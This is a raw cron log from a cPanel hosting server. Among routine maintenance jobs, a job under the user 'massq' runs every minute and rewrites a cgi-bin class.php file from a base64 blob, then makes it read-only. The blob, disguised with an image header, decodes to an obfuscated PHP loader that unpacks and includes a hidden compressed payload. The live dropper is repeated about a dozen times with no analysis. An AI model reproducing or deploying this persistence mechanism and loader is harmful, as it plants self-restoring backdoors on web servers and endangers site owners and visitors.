Sep 11 23:56:01 server CROND[24419]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:56:01 server CROND[24420]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:57:01 server CROND[24801]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 23:57:01 server CROND[24803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:57:01 server CROND[24802]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:57:01 server CROND[24806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:58:01 server CROND[25165]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 23:58:01 server CROND[25166]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:58:01 server CROND[25167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:59:01 server CROND[25539]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 23:59:01 server CROND[25540]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 23:59:01 server CROND[25541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:00:01 server CROND[26137]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 00:00:01 server CROND[26138]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:00:01 server CROND[26140]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 12 00:00:01 server CROND[26144]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:00:01 server CROND[26146]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:00:01 server CROND[26148]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:00:01 server CROND[26145]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep 12 00:00:01 server CROND[26156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:00:01 server CROND[26155]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:00:01 server CROND[26152]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 12 00:00:01 server CROND[26165]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:01:01 server CROND[27057]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:01:01 server CROND[27059]: (root) CMD (run-parts /etc/cron.hourly)
Sep 12 00:01:01 server CROND[27060]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:01:01 server CROND[27061]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:01:01 server run-parts(/etc/cron.hourly)[27059]: starting 0anacron
Sep 12 00:01:01 server anacron[27079]: Anacron started on 2026-09-12
Sep 12 00:01:01 server anacron[27079]: Normal exit (0 jobs run)
Sep 12 00:01:01 server run-parts(/etc/cron.hourly)[27082]: finished 0anacron
Sep 12 00:02:01 server CROND[27454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:02:01 server CROND[27453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:02:01 server CROND[27457]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:03:01 server CROND[27827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:03:01 server CROND[27828]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:03:01 server CROND[27829]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:04:01 server CROND[28194]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:04:01 server CROND[28195]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:04:01 server CROND[28197]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:05:01 server CROND[28578]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 00:05:01 server CROND[28580]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 00:05:01 server CROND[28581]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:05:01 server CROND[28584]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 00:05:01 server CROND[28586]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:05:01 server CROND[28585]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:05:01 server CROND[28588]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 00:05:01 server CROND[28587]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 00:06:01 server CROND[29539]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 00:06:01 server CROND[29540]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:06:01 server CROND[29541]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 00:07:01 server CROND[29924]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 00:07:01 server CROND[29925]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
